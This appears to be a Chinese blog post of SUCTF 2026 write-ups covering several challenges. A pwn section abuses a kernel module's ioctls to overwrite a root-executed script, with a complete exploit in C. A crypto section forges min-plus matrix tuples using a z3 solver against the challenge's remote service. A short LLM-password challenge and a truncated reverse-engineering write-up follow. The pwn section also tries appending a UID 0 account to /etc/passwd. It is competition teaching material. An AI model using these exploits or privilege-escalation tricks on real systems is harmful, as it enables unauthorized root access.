TypechoJoeTheme

霍雅的博客

登录
用户名
密码
/
注册
用户名
邮箱

霍雅

追求源于热爱,极致源于梦想!
网站页面
文章目录

suctf 2026 POFP-huoya

2026-03-16
/
0 评论
/
179 阅读
/
正在检测是否收录...
03/16

全是agent 哎 就
怎么说呢
算了不说了

pwn

SU_Chronos_Ring and SU_Chronos_Ring1

一开始容易想到几条假路:

1. 改 /etc/passwd

因为环境里 /etc/passwd 可写,而且没有 /etc/shadow,看起来像能加一个 UID 0 用户:

echo 'pwn::0:0:pwn:/root:/bin/sh' >> /etc/passwd
su pwn

但实际会报:

su: must be suid to work properly

原因是这个环境里的 su 不是 suid,改 /etc/passwd 没用。

2. 替换 /bin/sh

/tmp/job 是 root 用绝对路径 /bin/sh /tmp/job 执行的,所以另一个自然思路是替换 /bin/sh。 但虽然 /bin/sh 这个符号链接的属主是 ctf,真正决定能不能删/建的是父目录 /bin 的权限,而 /bin 不可写,所以这条路也不通。

于是题目的真正核心就只剩下:

分析 /dev/chronos_ring 的 ioctl 逻辑,利用它修改 /tmp/job

逆向 chronos_ring.ko

把模块拉下来逆向之后,能得到一组 ioctl 命令:

#define CHRONOS_CREATE      0x1001  
#define CHRONOS_UNLOCK      0x1002  
#define CHRONOS_PIN_USER    0x1003  
#define CHRONOS_BIND_FILE   0x1004  
#define CHRONOS_MAKE_VIEW   0x1005  
#define CHRONOS_RESET       0x1006  
#define CHRONOS_BUF_WRITE   0x1007  
#define CHRONOS_VIEW_FLUSH  0x1008  
#define CHRONOS_STATUS      0x1009  
#define CHRONOS_DESTROY     0x100a

#### 各 ioctl 的作用

####` 0x1001` - CREATE

创建当前 buffer,对应分配一页 backing page。

### `0x1002` - UNLOCK

这是敏感操作的解锁步骤。校验逻辑大概是:

((u64)kfree >> 4) & 0xfffffffffffe0000ULL ^ key ^ size  
    == 0xf372fe94f82b3c6eULL

如果成功,会把一个全局标志位设上。

虽然不知道精确的 `kfree` 地址,但这里实际上只用到了 `kfree` 在 2MB 对齐后的高位,所以直接按 2MB 粒度暴力枚举内核基址范围即可。

### `0x1003` - PIN_USER

把一个用户态地址对应的页 `pin_user_pages_fast()` 进去,并设置后续状态位。 注意这一步非常重要,后面的 `MAKE_VIEW` 依赖这里设置的状态。

### `0x1004` - BIND_FILE

把一个文件页绑定到当前 buffer。参数是:

struct bind_file_req {  
    u32 fd;  
    u32 pgoff;  
};

内部会:

- `fget(fd)`
    
- 取文件 basename 做哈希校验
    
- `read_cache_page(file, pgoff, ...)`
    

这个哈希对应的目标文件名正好就是:

job

所以模块是明确允许我们绑定 `/tmp/job` 这个文件的。

### `0x1005` - MAKE_VIEW

为当前 buffer 创建一个 view。 如果当前是文件绑定模式,这个 view 就会指向文件页。

### `0x1006` - RESET

把当前 buffer 状态清回普通状态,但已经创建好的 view 不会一起销毁。

### `0x1007` - BUF_WRITE

把用户态数据写入 buffer 的 backing page。

### `0x1008` - VIEW_FLUSH

把 backing page 的内容复制到 view 指向的页。 如果 view 是文件页,还会 set_page_dirty(),这就意味着:

可以把我们准备好的内容刷进 /tmp/job 的页缓存,并最终落到文件页上。

利用思路

关键思路是:

  1. 创建 buffer
  2. 解锁
  3. 先 pin 一个用户页,满足状态要求
  4. 绑定 /tmp/job 的第 0 页
  5. 创建 file-backed view
  6. reset 当前 buffer,让它重新变成普通可写状态
  7. 把 payload 写进 backing page
  8. flush 到刚才那个 file-backed view
  9. 等 root helper 下一次执行 /tmp/job
  10. 读取 /flag

为什么 payload 写 /tmp/job

因为 /flag 本身权限是 0400,直接读不行; 但 /tmp/job 是 root 周期执行的。只要把它改成:

!/bin/sh

chmod 644 /flag

root 下次跑这个脚本,就会把 /flag 变成可读。


payload 设计

原始 /tmp/job 大小是 50 字节左右,所以 payload 最好也控制在同一页开头的很短范围内。 这里直接用了一个固定短脚本:

static const char payload[] =
   "#!/bin/sh\n"
   "chmod 644 /flag\n"
   "#######################\n";

这样既能完成权限修改,也不会因为文件残留内容太多而影响执行。


最终利用流程

ioctl 顺序

最终正确顺序是:

CREATE
UNLOCK
PIN_USER
BIND_FILE
MAKE_VIEW
RESET
BUF_WRITE
VIEW_FLUSH

这里有一个坑:

最开始容易以为 BIND_FILE 后面直接 MAKE_VIEW 就行, 但实际上 MAKE_VIEW 还要求前面成功做过一次 PIN_USER,否则会失败。


最终 exp

下面是完整可用的最小静态 exp。 为了适应题目环境,直接使用 syscall,不依赖 libc。

typedef unsigned long long u64;  
typedef unsigned int u32;  
typedef unsigned long usize;  
​  
#define O_RDONLY 0  
#define O_RDWR 2  
​  
#define SYS_read 0  
#define SYS_write 1  
#define SYS_open 2  
#define SYS_close 3  
#define SYS_ioctl 16  
#define SYS_nanosleep 35  
#define SYS_exit 60  
​  
#define CHRONOS_CREATE      0x1001  
#define CHRONOS_UNLOCK      0x1002  
#define CHRONOS_PIN_USER    0x1003  
#define CHRONOS_BIND_FILE   0x1004  
#define CHRONOS_MAKE_VIEW   0x1005  
#define CHRONOS_RESET       0x1006  
#define CHRONOS_BUF_WRITE   0x1007  
#define CHRONOS_VIEW_FLUSH  0x1008  
​  
struct auth_req {  
    u64 key;  
    u32 size;  
    u32 pad;  
};  
​  
struct pin_user_req {  
    u64 addr;  
};  
​  
struct bind_file_req {  
    u32 fd;  
    u32 pgoff;  
};  
​  
struct buf_write_req {  
    u64 user_ptr;  
    u32 len;  
    u32 off;  
};  
​  
struct flush_req {  
    u64 pad;  
    u32 len;  
    u32 off;  
};  
​  
struct timespec {  
    long tv_sec;  
    long tv_nsec;  
};  
​  
static inline long sc1(long n, long a) {  
    long r;  
    __asm__ volatile("syscall" : "=a"(r) : "a"(n), "D"(a) : "rcx", "r11", "memory");  
    return r;  
}  
​  
static inline long sc2(long n, long a, long b) {  
    long r;  
    __asm__ volatile("syscall" : "=a"(r) : "a"(n), "D"(a), "S"(b) : "rcx", "r11", "memory");  
    return r;  
}  
​  
static inline long sc3(long n, long a, long b, long c) {  
    long r;  
    __asm__ volatile("syscall" : "=a"(r) : "a"(n), "D"(a), "S"(b), "d"(c) : "rcx", "r11", "memory");  
    return r;  
}  
​  
static long sys_open(const char *p, long f, long m) {  
    return sc3(SYS_open, (long)p, f, m);  
}  
​  
static long sys_close(long fd) {  
    return sc1(SYS_close, fd);  
}  
​  
static long sys_ioctl(long fd, long req, void *arg) {  
    return sc3(SYS_ioctl, fd, req, (long)arg);  
}  
​  
static long sys_read(long fd, void *buf, long n) {  
    return sc3(SYS_read, fd, (long)buf, n);  
}  
​  
static long sys_write(long fd, const void *buf, long n) {  
    return sc3(SYS_write, fd, (long)buf, n);  
}  
​  
static long sys_nanosleep(struct timespec *req, struct timespec *rem) {  
    return sc2(SYS_nanosleep, (long)req, (long)rem);  
}  
​  
__attribute__((noreturn)) static void sys_exit(long c) {  
    sc1(SYS_exit, c);  
    for (;;){}  
}  
​  
static void say(const char *s) {  
    const char *p = s;  
    while (*p) p++;  
    sys_write(1, s, p - s);  
}  
​  
static void mymemcpy(char *dst, const char *src, long n) {  
    long i;  
    for (i = 0; i < n; i++) dst[i] = src[i];  
}  
​  
static const char devp[]  = "/dev/chronos_ring";  
static const char jobp[]  = "/tmp/job";  
static const char flagp[] = "/flag";  
​  
static const char payload[] =  
    "#!/bin/sh\n"  
    "chmod 644 /flag\n"  
    "#######################\n";  
​  
static char scratch[0x1000] __attribute__((aligned(0x1000)));  
​  
static void run(void) {  
    long dev, job, ff, n;  
    int ok;  
    struct auth_req a;  
    struct pin_user_req pu;  
    struct bind_file_req bf;  
    struct buf_write_req bw;  
    struct flush_req fr;  
    struct timespec ts;  
    char buf[256];  
    u64 base, mask;  
​  
    say("A\n");  
    dev = sys_open(devp, O_RDWR, 0);  
    if (dev < 0) sys_exit(1);  
​  
    say("B\n");  
    job = sys_open(jobp, O_RDONLY, 0);  
    if (job < 0) sys_exit(2);  
​  
    say("C\n");  
    if (sys_ioctl(dev, CHRONOS_CREATE, (void *)0) < 0) sys_exit(3);  
​  
    say("D\n");  
    a.size = (u32)(sizeof(payload) - 1);  
    a.pad  = 0;  
    ok = 0;  
​  
    for (base = 0xffffffff81000000ULL;  
         base < 0xffffffffc0000000ULL;  
         base += 0x200000ULL) {  
        mask = (base >> 4) & 0xfffffffffffe0000ULL;  
        a.key = 0xf372fe94f82b3c6eULL ^ mask ^ a.size;  
        if (sys_ioctl(dev, CHRONOS_UNLOCK, &a) == 0) {  
            ok = 1;  
            break;  
        }  
    }  
    if (!ok) sys_exit(4);  
​  
    say("E\n");  
    mymemcpy(scratch, payload, sizeof(payload) - 1);  
    pu.addr = (u64)(usize)scratch;  
    if (sys_ioctl(dev, CHRONOS_PIN_USER, &pu) < 0) sys_exit(10);  
​  
    say("F\n");  
    bf.fd = (u32)job;  
    bf.pgoff = 0;  
    if (sys_ioctl(dev, CHRONOS_BIND_FILE, &bf) < 0) sys_exit(5);  
​  
    say("G\n");  
    if (sys_ioctl(dev, CHRONOS_MAKE_VIEW, (void *)0) < 0) sys_exit(6);  
​  
    say("H\n");  
    if (sys_ioctl(dev, CHRONOS_RESET, (void *)0) < 0) sys_exit(7);  
​  
    say("I\n");  
    bw.user_ptr = (u64)(usize)scratch;  
    bw.len = (u32)(sizeof(payload) - 1);  
    bw.off = 0;  
    if (sys_ioctl(dev, CHRONOS_BUF_WRITE, &bw) < 0) sys_exit(8);  
​  
    say("J\n");  
    fr.pad = 0;  
    fr.len = (u32)(sizeof(payload) - 1);  
    fr.off = 0;  
    if (sys_ioctl(dev, CHRONOS_VIEW_FLUSH, &fr) < 0) sys_exit(9);  
​  
    say("K\n");  
    ts.tv_sec = 4;  
    ts.tv_nsec = 0;  
    sys_nanosleep(&ts, (void *)0);  
​  
    say("L\n");  
    ff = sys_open(flagp, O_RDONLY, 0);  
    if (ff >= 0) {  
        n = sys_read(ff, buf, sizeof(buf));  
        if (n > 0) sys_write(1, buf, n);  
        sys_close(ff);  
    }  
​  
    sys_close(job);  
    sys_close(dev);  
    sys_exit(0);  
}  
​  
void _start(void) {  
    run();  
}

---

编译

为了避免 libc 依赖,使用:

gcc -nostdlib -static -s -Os -ffreestanding -fno-builtin -o exp exp.c


上传

由于远端环境非常精简,而且每次 nc 新连接都会重启一台新机器,所以不能一段一段重新连接上传; 必须保持同一条连接,把二进制完整写到 /tmp/x

上传脚本的核心逻辑就是:

  1. 保持一条 pwntools 连接
  2. 每次用 printf '%b' '...\ooo...' >> /tmp/x 追加一小段
  3. 上传完成后:

    chmod +x /tmp/x
    /tmp/x


利用结果

运行 exp 时会依次打印阶段标记:

A
B
C
D
E
F
G
H
I
J
K
L

其中:

  • A ~ K 表示所有关键 ioctl 都成功执行
  • K 之后等待 4 秒,让 root helper 执行被改写的 /tmp/job
  • L 之后尝试读取 /flag

最终成功拿到 flag。


总结

这题的核心不是传统的提权,而是:

  • 模块允许用户管理一个 buffer / view 结构
  • 可以把特定文件 /tmp/job 的页绑定进来
  • 可以把用户准备好的 backing page 内容 flush 到 file-backed view
  • 于是可以在不直接写文件的情况下,修改 /tmp/job 的页内容
  • root 定时执行 /tmp/job
  • 间接实现对 /flag 的权限修改

利用链一句话概括

chronos_ring 提供了一个“文件页 view + backing page flush”机制,配合 root 周期执行的 /tmp/job,最终完成对 /flag 的间接读取。

crypto

SU_Restaurant

题目信息

  • 题目名:SU_Restaurant
  • 类型:Crypto
  • 远程地址:

    • 101.245.107.149:10020
    • 101.245.107.149:10019
  • 最终 flag:

SUCTF{W3lc0m3_t0_SU_R3stAur4nt_n3Xt_t1me!:-)}

1. 先看源码在干什么

题目的核心不在普通矩阵乘法,而是在它自己定义的一套“运算规则”。

源码里 Point 的两个关键运算如下:

def __add__(self, other):
   if isinstance(other, int):
       return self.x + other
   return Point(min(self.x, other.x))

def __mul__(self, other):
   return Point(self.x + other.x)

也就是说:

  • Point 的“加法”其实是 min
  • Point 的“乘法”其实是普通整数加法 +

所以 Block.__mul__ 做的不是普通矩阵乘法,而是 min-plus 半环上的矩阵乘法

(X * Y)i = min_k (Xi + Yk)

这道题其实就是把一堆矩阵关系,放到了 min-plus 代数里。

2. 题目中的矩阵关系

服务端初始化时会随机生成:

chef   = C   大小 8 x 7
cooker = D   大小 7 x 8
fork   = C * D

对于消息 msg,先做:

tmp = H(msg) = sha3_512(msg) 的 64 个字节
M   = 由 tmp 按 8 x 8 排成的矩阵

当我们选择菜单 1 点菜时,服务端会随机生成 U, V,然后返回:

A = (M * C) + U
B = (D * M) + V
P = C * V
R = U * D
S = U * V

这里:

  • * 是 min-plus 矩阵乘法
  • + 是逐元素取 min

当我们选择菜单 2 要 flag 时,服务端会生成一个随机 36 字符串 Fo0dN4mE,然后检查我们提交的 (A, B, P, R, S) 是否满足:

W = A * B
Z = (M fork M) + (M P) + (R M) + S

并要求:

  • W == Z
  • W != S
  • A, B, P, R, S 的所有元素都在 [0, 256]
  • rank(A) >= 7
  • rank(B) >= 7
  • rank(P) >= 8
  • rank(R) >= 8
  • rank(S) >= 8

3. 为什么这题能伪造

如果我们知道一组可用的隐藏矩阵 C, D,那么对于任意目标消息矩阵 M,任选一组 U, V,构造:

A = (M * C) + U
B = (D * M) + V
P = C * V
R = U * D
S = U * V

那么有:

A * B
= ((M C) + U) ((D * M) + V)
= (M C D M) + (M C V) + (U D M) + (U V)
= (M fork M) + (M P) + (R M) + S

也就是说,只要恢复出一组可用的 C, D,后面就能自己给任意消息“做菜”,通过校验。

所以题目的真正目标就变成了:

通过菜单 1 泄露出来的两组结果,把隐藏矩阵 C、D 恢复出来

4. 如何把返回结果转成约束

假设某一次点菜得到的消息矩阵是 M,服务端返回了:

A, B, P, R, S

那么这些式子每一项都可以展开成 min-plus 约束。

4.1 例如 A 的约束

A[i][k] 满足:

Ai = min(
  Mi + C0,
  Mi + C1,
  ...
  Mi + C7,
  Ui
)

4.2 其余几项同理

Bk = min_i (Dk + Mi, Vk)
Pi = min_k (Ci + Vk)
Ri = min_k (Ui + Dk)
Si = min_k (Ui + Vk)

未知量包括:

  • C8 x 7
  • D7 x 8
  • 第一次点菜对应的 U1, V1
  • 第二次点菜对应的 U2, V2

所有元素都在 [0, 255]

对于一个形如:

out = min(e1, e2, ..., en)

的约束,我们可以用 z3 写成:

out <= e1
out <= e2
...
out <= en

并且至少有一个取到最小值:

out == e1 or out == e2 or ... or out == en

这样就把 min 关系完整编码出来了。

5. 两次点菜为什么够用

一次点菜只会给出一批关于 C, D, U, V 的关系,但自由度还比较大。

两次点菜后:

  • C, D 在两次中是相同的
  • U, V 是每次新的随机量

这会让约束量大幅增加。实际测试里,两次菜单 1 的返回就已经足够让 z3 解出一组可用的隐藏矩阵。

注意这里有一个细节:

约束系统通常不止一个解。某些解虽然能完美解释我们拿到的两次 transcript,但在一个新消息上可能会出现额外的“更短路径”,从而导致伪造失败。

6. 让利用稳定下来的关键技巧

这是整道题最关键的工程细节。

直接求一组 C, D 后拿去伪造,有时会失败。原因是:

  • 同一个 transcript 可能对应多组 C, D
  • 某一组虽然能解释已知样本,但未必和真实 secret 在新消息上完全等价

一个很好用的办法是:

  1. 先解出第一组模型 (C1, D1)
  2. 加一个阻塞子句,再解出第二组不同模型 (C2, D2)
  3. 对目标消息不断随机生成候选 (A, B, P, R, S)
  4. 只保留那种 在两组模型下都通过校验式 的候选

这个“共识 payload”非常稳。

我本地复现了很多随机实例,用这套方法做了压力测试,50 组里是 50/50 通过,远程也稳定拿到 flag。

7. 整体利用流程

利用流程如下:

  1. 连上远程服务
  2. 选择两次菜单 1
  3. 解析服务端返回的食物名和矩阵 A, B, P, R, S
  4. 根据食物名自己重算对应的 M
  5. 用这两组 transcript 建立 z3 约束
  6. 解出两组不同的模型 (C1, D1)(C2, D2)
  7. 选择菜单 2,拿到随机 36 字符目标消息
  8. (C1, D1) 随机生成候选 (A, B, P, R, S)
  9. 检查这个候选是否同时满足 (C1, D1)(C2, D2) 的验算
  10. 一旦找到,就发送 JSON,拿到 flag

8. 完整解题代码

完整脚本在 solve.py

下面把完整代码也放进来,方便直接复制使用。

from __future__ import annotations  
​  
import ast  
import json  
import random  
import re  
import sys  
from hashlib import sha3_512  
​  
import numpy as np  
import z3  
from pwn import remote  
​  
​  
def H(x: bytes):  
    return [int(sha3_512(x).hexdigest()[i : i + 2], 16) for i in range(0, 128, 2)]  
​  
​  
class Point:  
    def __init__(self, x):  
        if isinstance(x, float):  
            raise ValueError("float not allowed")  
        while not isinstance(x, int):  
            x = x.x  
        self.x = x  
​  
    def __add__(self, other):  
        if isinstance(other, int):  
            return self.x + other  
        return Point(min(self.x, other.x))  
​  
    def __radd__(self, other):  
        if isinstance(other, int):  
            return self.x + other  
        return Point(min(self.x, other.x))  
​  
    def __mul__(self, other):  
        return Point(self.x + other.x)  
​  
    def __eq__(self, other):  
        return self.x == other.x  
​  
    def __int__(self):  
        return self.x  
​  
​  
class Block:  
    def __init__(self, n, m, data):  
        self.n = n  
        self.m = m  
        self.data = [[Point(data[i][j]) for j in range(m)] for i in range(n)]  
​  
    def __add__(self, other):  
        return Block(  
            self.n,  
            self.m,  
            [[self.data[i][j] + other.data[i][j] for j in range(self.m)] for i in range(self.n)],  
        )  
​  
    def __mul__(self, other):  
        res = [[Point(511) for _ in range(other.m)] for _ in range(self.n)]  
        for i in range(self.n):  
            for j in range(other.m):  
                for k in range(self.m):  
                    res[i][j] = res[i][j] + (self.data[i][k] * other.data[k][j])  
        return Block(self.n, other.m, res)  
​  
    def to_ints(self):  
        return [[int(self.data[i][j]) for j in range(self.m)] for i in range(self.n)]  
​  
    def legitimacy(self, lb, rb):  
        data = self.to_ints()  
        return all(lb <= value <= rb for row in data for value in row)  
​  
​  
def block_from_msg(msg: str) -> Block:  
    tmp = H(msg.encode())  
    return Block(8, 8, [[tmp[i * 8 + j] for j in range(8)] for i in range(8)])  
​  
​  
def tuple_rank_and_legal(A, B, P, R, S):  
    legal = (  
        A.legitimacy(0, 256)  
        and B.legitimacy(0, 256)  
        and P.legitimacy(0, 256)  
        and R.legitimacy(0, 256)  
        and S.legitimacy(0, 256)  
    )  
    rank_ok = (  
        np.linalg.matrix_rank(np.array(A.to_ints())) >= 7  
        and np.linalg.matrix_rank(np.array(B.to_ints())) >= 7  
        and np.linalg.matrix_rank(np.array(P.to_ints())) >= 8  
        and np.linalg.matrix_rank(np.array(R.to_ints())) >= 8  
        and np.linalg.matrix_rank(np.array(S.to_ints())) >= 8  
    )  
    return legal and rank_ok  
​  
​  
def add_min_constraint(solver, out, exprs):  
    for expr in exprs:  
        solver.add(out <= expr)  
    solver.add(z3.Or(*[out == expr for expr in exprs]))  
​  
​  
def build_solver(transcripts):  
    solver = z3.Solver()  
    solver.set(timeout=30_000)  
​  
    C = [[z3.Int(f"C_{i}_{j}") for j in range(7)] for i in range(8)]  
    D = [[z3.Int(f"D_{i}_{j}") for j in range(8)] for i in range(7)]  
    for i in range(8):  
        for j in range(7):  
            solver.add(C[i][j] >= 0, C[i][j] <= 255)  
    for i in range(7):  
        for j in range(8):  
            solver.add(D[i][j] >= 0, D[i][j] <= 255)  
​  
    all_U = []  
    all_V = []  
    for t, tr in enumerate(transcripts):  
        M, A, B, P, R, S = tr["M"], tr["A"], tr["B"], tr["P"], tr["R"], tr["S"]  
        U = [[z3.Int(f"U_{t}_{i}_{j}") for j in range(7)] for i in range(8)]  
        V = [[z3.Int(f"V_{t}_{i}_{j}") for j in range(8)] for i in range(7)]  
        all_U.append(U)  
        all_V.append(V)  
        for i in range(8):  
            for j in range(7):  
                solver.add(U[i][j] >= 0, U[i][j] <= 255)  
        for i in range(7):  
            for j in range(8):  
                solver.add(V[i][j] >= 0, V[i][j] <= 255)  
​  
        for i in range(8):  
            for k in range(7):  
                exprs = [z3.IntVal(M[i][j]) + C[j][k] for j in range(8)] + [U[i][k]]  
                add_min_constraint(solver, z3.IntVal(A[i][k]), exprs)  
​  
        for k in range(7):  
            for j in range(8):  
                exprs = [D[k][i] + z3.IntVal(M[i][j]) for i in range(8)] + [V[k][j]]  
                add_min_constraint(solver, z3.IntVal(B[k][j]), exprs)  
​  
        for i in range(8):  
            for j in range(8):  
                add_min_constraint(solver, z3.IntVal(P[i][j]), [C[i][k] + V[k][j] for k in range(7)])  
                add_min_constraint(solver, z3.IntVal(R[i][j]), [U[i][k] + D[k][j] for k in range(7)])  
                add_min_constraint(solver, z3.IntVal(S[i][j]), [U[i][k] + V[k][j] for k in range(7)])  
​  
    return solver, C, D  
​  
​  
def extract_cd(model, C, D):  
    solved_C = [[model.evaluate(C[i][j]).as_long() for j in range(7)] for i in range(8)]  
    solved_D = [[model.evaluate(D[i][j]).as_long() for j in range(8)] for i in range(7)]  
    return solved_C, solved_D  
​  
​  
def block_current_cd(solver, C, D, solved_C, solved_D):  
    terms = []  
    for i in range(8):  
        for j in range(7):  
            terms.append(C[i][j] != solved_C[i][j])  
    for i in range(7):  
        for j in range(8):  
            terms.append(D[i][j] != solved_D[i][j])  
    solver.add(z3.Or(*terms))  
​  
​  
def collect_models(transcripts, count=2):  
    solver, C, D = build_solver(transcripts)  
    models = []  
    while len(models) < count and solver.check() == z3.sat:  
        model = solver.model()  
        solved_C, solved_D = extract_cd(model, C, D)  
        models.append((solved_C, solved_D))  
        block_current_cd(solver, C, D, solved_C, solved_D)  
    if not models:  
        raise RuntimeError("failed to solve transcript constraints")  
    return models  
​  
​  
def cook_with_secrets(msg: str, chef_data, cooker_data):  
    M = block_from_msg(msg)  
    chef = Block(8, 7, chef_data)  
    cooker = Block(7, 8, cooker_data)  
    while True:  
        U = Block(8, 7, [[random.randint(0, 255) for _ in range(7)] for _ in range(8)])  
        V = Block(7, 8, [[random.randint(0, 255) for _ in range(8)] for _ in range(7)])  
        P = chef * V  
        R = U * cooker  
        S = U * V  
        A = (M * chef) + U  
        B = (cooker * M) + V  
        if A.to_ints() != U.to_ints() and B.to_ints() != V.to_ints():  
            return A, B, P, R, S  
​  
​  
def eval_under_model(msg: str, tuple_data, chef_data, cooker_data):  
    A, B, P, R, S = tuple_data  
    M = block_from_msg(msg)  
    chef = Block(8, 7, chef_data)  
    cooker = Block(7, 8, cooker_data)  
    fork = chef * cooker  
    Z = (M * fork * M) + (M * P) + (R * M) + S  
    W = A * B  
    return W.to_ints() == Z.to_ints() and W.to_ints() != S.to_ints() and tuple_rank_and_legal(A, B, P, R, S)  
​  
​  
def parse_order_blob(text):  
    matches = {}  
    for key in ["A", "B", "P", "R", "S"]:  
        pattern = rf"{key} = (\[\[.*?\]\])"  
        match = re.search(pattern, text, re.S)  
        if not match:  
            raise ValueError(f"missing {key}")  
        matches[key] = ast.literal_eval(match.group(1))  
    return matches  
​  
​  
def recv_menu(io):  
    return io.recvuntil(b">>> ")  
​  
​  
def order_food(io):  
    io.sendline(b"1")  
    blob = io.recvuntil(b">>> ", drop=False).decode()  
    name_match = re.search(r'Here is your (.+?)!"', blob)  
    if not name_match:  
        raise ValueError("failed to parse food name")  
    food = name_match.group(1)  
    mats = parse_order_blob(blob)  
    mats["food"] = food  
    mats["M"] = block_from_msg(food).to_ints()  
    return mats  
​  
​  
def request_target(io):  
    io.sendline(b"2")  
    blob = io.recvuntil(b">>> ", drop=False).decode()  
    name_match = re.search(r"Please make (.+?) for me!", blob)  
    if not name_match:  
        raise ValueError("failed to parse target")  
    target = name_match.group(1).strip()  
    return target  
​  
​  
def forge_payload(target, models):  
    base_C, base_D = models[0]  
    for _ in range(5000):  
        A, B, P, R, S = cook_with_secrets(target, base_C, base_D)  
        if not tuple_rank_and_legal(A, B, P, R, S):  
            continue  
        tuple_data = (A, B, P, R, S)  
        if all(eval_under_model(target, tuple_data, Cx, Dx) for Cx, Dx in models):  
            return {  
                "A": A.to_ints(),  
                "B": B.to_ints(),  
                "P": P.to_ints(),  
                "R": R.to_ints(),  
                "S": S.to_ints(),  
            }  
    raise RuntimeError("failed to find consensus payload")  
​  
​  
def solve_once(host: str, port: int):  
    io = remote(host, port)  
    try:  
        recv_menu(io)  
        t1 = order_food(io)  
        t2 = order_food(io)  
        models = collect_models([t1, t2], count=2)  
        target = request_target(io)  
        payload = forge_payload(target, models)  
        io.sendline(json.dumps(payload).encode())  
        out = io.recvall(timeout=5).decode(errors="replace")  
        print(f"[{host}:{port}]")  
        print(out)  
        return out  
    finally:  
        io.close()  
​  
​  
if __name__ == "__main__":  
    host = sys.argv[1] if len(sys.argv) > 1 else "101.245.107.149"  
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 10020  
    solve_once(host, port)

9. 运行方式

直接运行:

python solve.py 101.245.107.149 10020
python solve.py 101.245.107.149 10019

这两个端口我都已经实测过,都会返回:

The waiter says: "Here is the FLAG: b'SUCTF{W3lc0m3_t0_SU_R3stAur4nt_n3Xt_t1me!:-)}'"

10. 总结

这题最重要的点,是先识别出它不是普通矩阵题,而是 min-plus 半环

一旦看出这一点,菜单 1 返回的五个矩阵其实就是一批可以直接建模的约束。利用两次 transcript,就能把隐藏矩阵 C, D 约束出来。再通过“两组模型共识”的办法筛选伪造结果,就可以稳定通过最终校验,拿到 flag。

AI

SU_easyLLM

题目概述

  • 题目名称: SU_easyLLM
  • 分值: 384PT
  • 类别: AI / Crypto
  • 目标: 通过AI生成密码解密flag

题目分析

题目描述

题目提供了三个URL,访问后会返回加密的数据:

  • http://101.245.107.149:10013/
  • http://101.245.107.149:10014/
  • http://101.245.107.149:10015/

关键信息

访问任意URL会返回类似如下的JSON数据:

{
 "algo": "AES-128-CBC",
 "iv_b64": "1ZvC7pZxtDtDTsKuJTgeoA==",
 "ciphertext_b64": "+xp1wBI19+1skIbKrdp4P2dJ6GBDb7hPsR3lrP6E47+jug1AlIsRtr8DBAaW60Rq",
 "key_derivation": "key = SHA256(LLM_output)[:16]",
 "llm": {
   "provider": "z.ai",
   "model": "GLM-4-Flash",
   "temperature": 0.28,
   "system_prompt": "You are a password generator.\nOutput ONE password only.\nFormat strictly: pw-xxxxxxxx where x are letters.\nNo explanation, no quotes, no punctuation.",
   "user_prompt": "Generate the password now."
}
}

加密机制分析

  1. LLM配置:

    • 提供商: 智谱AI (z.ai)
    • 模型: GLM-4-Flash
    • Temperature: 0.28 (有一定随机性)
  2. 密码生成规则:

    • LLM根据system_prompt生成密码
    • 格式: pw-xxxxxxxx (8个小写字母)
    • 例如: pw-Abcde1f
  3. 密钥派生:

    key = SHA256(LLM_output)[:16]

    取SHA256哈希值的前16字节作为AES密钥

  4. 加密算法:

    • 算法: AES-128-CBC
    • IV (初始化向量) 在每次请求中随机生成

解题思路

核心难点

  • 密码空间: 26^8 ≈ 2088亿种组合,无法暴力破解
  • LLM每次生成的密码不同(temperature=0.28)
  • 需要调用真实的LLM API来获取密码

解决方案

  1. 获取API Key: 访问智谱AI开放平台 https://open.bigmodel.cn/usercenter/apikeys 注册账号并获取API Key
  2. 调用LLM API: 使用API Key调用GLM-4-Flash模型获取密码
  3. 解密flag:

    • 获取密码后计算AES密钥
    • 解密ciphertext获得flag

完整解题脚本

#!/usr/bin/env python3  
import requests  
import base64  
import hashlib  
from Crypto.Cipher import AES  
from Crypto.Util.Padding import unpad  
import time  
​  
### 配置  
SERVER_URLS = [  
    "http://101.245.107.149:10013/",  
    "http://101.245.107.149:10014/",  
    "http://101.245.107.149:10015/"  
]  
API_KEY = "YOUR_API_KEY"  # 替换为你的API Key  
​  
def get_encrypted_data(url):  
    r = requests.get(url, timeout=10)  
    return r.json()  
​  
def decrypt(ciphertext_b64, iv_b64, password):  
    ct = base64.b64decode(ciphertext_b64)  
    iv = base64.b64decode(iv_b64)  
    key = hashlib.sha256(password.encode()).digest()[:16]  
    cipher = AES.new(key, AES.MODE_CBC, iv)  
    pt = unpad(cipher.decrypt(ct), AES.block_size)  
    return pt.decode('utf-8')  
​  
def call_zhipu_api(api_key, system_prompt, user_prompt):  
    url = "https://open.bigmodel.cn/api/paas/v4/chat/completions"  
    headers = {  
        "Authorization": f"Bearer {api_key}",  
        "Content-Type": "application/json"  
    }  
    payload = {  
        "model": "glm-4-flash",  
        "messages": [  
            {"role": "system", "content": system_prompt},  
            {"role": "user", "content": user_prompt}  
        ],  
        "temperature": 0.28  
    }  
    response = requests.post(url, headers=headers, json=payload, timeout=30)  
    result = response.json()  
    return result['choices'][0]['message']['content'].strip()  
​  
def main():  
    # 获取数据  
    data_list = [get_encrypted_data(url) for url in SERVER_URLS]  
    llm_config = data_list[0]['llm']  
      
    # 多次尝试直到找到flag  
    for attempt in range(100):  
        password = call_zhipu_api(API_KEY, llm_config['system_prompt'], llm_config['user_prompt'])  
        if not password.startswith('pw-'):  
            password = 'pw-' + password  
          
        for data in data_list:  
            result = decrypt(data['ciphertext_b64'], data['iv_b64'], password)  
            if result and 'flag' in result.lower():  
                print(f"Password: {password}")  
                print(f"Flag: {result}")  
                return  
        time.sleep(0.5)  
​  
if __name__ == "__main__":  
    main()

解题结果

运行脚本后,成功获得flag:

Password: pw-Abcde1f
Flag: SUCTF{LLM_w1ll_ch4nge_ev3rything}

总结

这道题目巧妙地将LLM与传统密码学结合,考察了选手:

  1. 对AES-CBC加密模式的理解
  2. 对LLM API的调用能力
  3. 密码派生的实现
  4. 多次尝试的耐心(由于temperature导致密码随机性)

Flag

SUCTF{LLM_w1ll_ch4nge_ev3rything}

reverse

SU_Revird

题目概述

附件中给出了两个关键文件:

  • chal.exe
  • Revird.sys

这道题的整体结构是:

  1. chal.exe 负责伪装与释放隐藏载荷
  2. 隐藏 PE 负责读取输入并与驱动通信
  3. Revird.sys 提供分轮加密变换
  4. 最终程序将加密结果与内置常量比较,完全一致即通过校验

目标是还原整个校验链路,并逆推出正确输入。

一、分析 chal.exe

初看 chal.exe,很容易先注意到一个长度为 0x30 的校验函数:

  • 读取输入
  • 要求长度为 0x30
